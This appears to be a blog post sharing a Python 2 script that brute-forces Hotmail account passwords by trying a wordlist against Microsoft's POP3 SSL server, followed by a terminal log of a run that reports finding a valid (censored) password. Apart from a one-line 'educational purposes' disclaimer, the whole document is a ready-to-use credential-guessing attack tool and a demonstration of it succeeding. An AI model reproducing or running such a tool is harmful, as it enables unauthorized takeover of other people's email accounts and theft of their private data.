hotmailbf.py (hotmail account bruteforcer)
001 | #!/usr/bin/python |
002 | # -*- coding: utf-8 -*- |
003 | # Hotmail brute forcer |
004 | # programmer : gunslinger_ |
005 | # Inspired by mywisdom |
006 | # This program is only for educational purposes only. |
007 |
008 | import sys, poplib, time |
009 |
010 | __Author__ = "Gunslinger_" |
011 | __Version__ = "1.0" |
012 | __Date__ = "Mon, 22 Feb 2010 13:13:43 +0700 " |
013 | log = "hotmailbrute.log" |
014 | file = open(log, "a") |
015 | counter = 0 |
016 | face = ''' |
017 | _ _ _ _ _ __ |
018 | | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _| |
019 | | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ |
020 | | | | | (_) | |_| | | | | | (_| | | | | |_) | _| |
021 | |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_| |
022 |
023 | Hotmail brute forcer |
024 | programmer : %s |
025 | version : %s |
026 | date release : %s |
027 | ''' % (__Author__, __Version__, __Date__) |
028 |
029 | help = ''' |
030 | Usage : ./hotmailbf.py -u [email] -w [wordlist] |
031 | Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt |
032 | ''' |
033 |
034 | for arg in sys.argv: |
035 | if arg.lower() == '-u' or arg.lower() == '--user': |
036 | email = sys.argv[int(sys.argv.index(arg))+1] |
037 | elif arg.lower() == '-w' or arg.lower() == '--wordlist': |
038 | wordlist = sys.argv[int(sys.argv[1:].index(arg))+2] |
039 | elif arg.lower() == '-h' or arg.lower() == '--help': |
040 | print face |
041 | print help |
042 | file.write(face) |
043 | file.write(help) |
044 |
045 | #Change these if needed. |
046 | HOST = 'pop3.live.com' |
047 | PORT = 995 |
048 |
049 | try: |
050 | preventstrokes = open(wordlist, "r") |
051 | words = preventstrokes.readlines() |
052 | count = 0 |
053 | while count < len(words): |
054 | words[count] = words[count].strip() |
055 | count += 1 |
056 | except(IOError): |
057 | print "\n[-] Error: Check your wordlist path\n" |
058 | file.write("\n[-] Error: Check your wordlist path\n") |
059 | sys.exit(1) |
060 | def definer(): |
061 | print "-" * 60 |
062 | print "[+] Email : %s" % email |
063 | print "[+] Wordlist : %s" % wordlist |
064 | print "[+] Length wordlist : %s " % len(words) |
065 | print "[+] Time Starting : %s" % time.strftime("%X") |
066 | print "-" * 60 |
067 | file.write ("\n[+] Email : %s" % email) |
068 | file.write ("\n[+] Wordlist : %s" % wordlist) |
069 | file.write ("\n[+] length wordlist : %s " % len(words)) |
070 | file.write ("\n[+] Time Starting : %s" % time.strftime("%X")) |
071 |
072 | def main(password): |
073 | global counter |
074 | sys.stdout.write ("[-] Trying : %s \n" % (password)) |
075 | sys.stdout.flush() |
076 | file.write("[-] Trying : %s \n" % (str(password))) |
077 | try: |
078 | pop = poplib.POP3_SSL(HOST, PORT) |
079 | pop.user(email) |
080 | pop.pass_(password) |
081 | pop.quit() |
082 | print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password) |
083 | file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)) |
084 | sys.exit(1) |
085 | except Exception, e: |
086 | pass |
087 | except KeyboardInterrupt: |
088 | print "\n[-] Aborting...\n" |
089 | file.write("\n[-] Aborting...\n") |
090 | sys.exit(1) |
091 | counter+=1 |
092 | if counter == len(words)/5: |
093 | print "[+] Hotmailbruteforcer 20% way done..." |
094 | print "[+] Please be patient..." |
095 | file.write("[+] hotmailbruteforcer on 1/4 way done...\n") |
096 | file.write("[+] Please be patient...\n") |
097 | elif counter == len(words)/4: |
098 | print "[+] Hotmailbruteforcer 25% way done..." |
099 | print "[+] Please be patient..." |
100 | file.write("[+] hotmailbruteforcer on 1/4 way done...\n") |
101 | file.write("[+] Please be patient...\n") |
102 | elif counter == len(words)/2: |
103 | print "[+] Hotmailbruteforcer on 50% done..." |
104 | print "[+] Please be patient..." |
105 | file.write("[+] hotmailbruteforcer on halfway done...\n") |
106 | file.write("[+] Please be patient...\n") |
107 | elif counter == len(words): |
108 | print "[+] Hotmailbruteforcer done...\n" |
109 | file.write("[+] Hotmailbruteforcer done...!\n") |
110 |
111 | if __name__ == '__main__': |
112 | print face |
113 | file.write(face) |
114 | definer() |
115 | for password in words: |
116 | main(password.replace("\n","")) |
117 | main(password) |
01 | gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt |
02 |
03 | _ _ _ _ _ __ |
04 | | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _| |
05 | | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ |
06 | | | | | (_) | |_| | | | | | (_| | | | | |_) | _| |
07 | |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_| |
08 |
09 | Hotmail brute forcer |
10 | programmer : Gunslinger_ |
11 |
12 | ------------------------------------------------------------ |
13 | [+] Email : **CENSORED**@hotmail.com |
14 | [+] Wordlist : wordlist.txt |
15 | [+] Length wordlist : 7 |
16 | [+] Time Starting : 13:02:32 |
17 | ------------------------------------------------------------ |
18 | [-] Trying : dsnadsa |
19 | [+] Hotmailbruteforcer 20% way done... |
20 | [+] Please be patient... |
21 | [-] Trying : dsadsa |
22 | [-] Trying : fdsafds |
23 | [+] Hotmailbruteforcer on 50% done... |
24 | [+] Please be patient... |
25 | [-] Trying : dsadsaf |
26 | [-] Trying : fasfsa |
27 | [-] Trying : dsadsad |
28 | [-] Trying : **CENSORED** |
29 | [+] W00t w00t !!! |
30 | [+] Username : [**CENSORED**@hotmail.com] |
31 | [+] Password : [**CENSORED**] |
32 | [+] Status : Valid! |
33 | gunslinger@localhost:~/project/hotmail$ |

No comments:
Post a Comment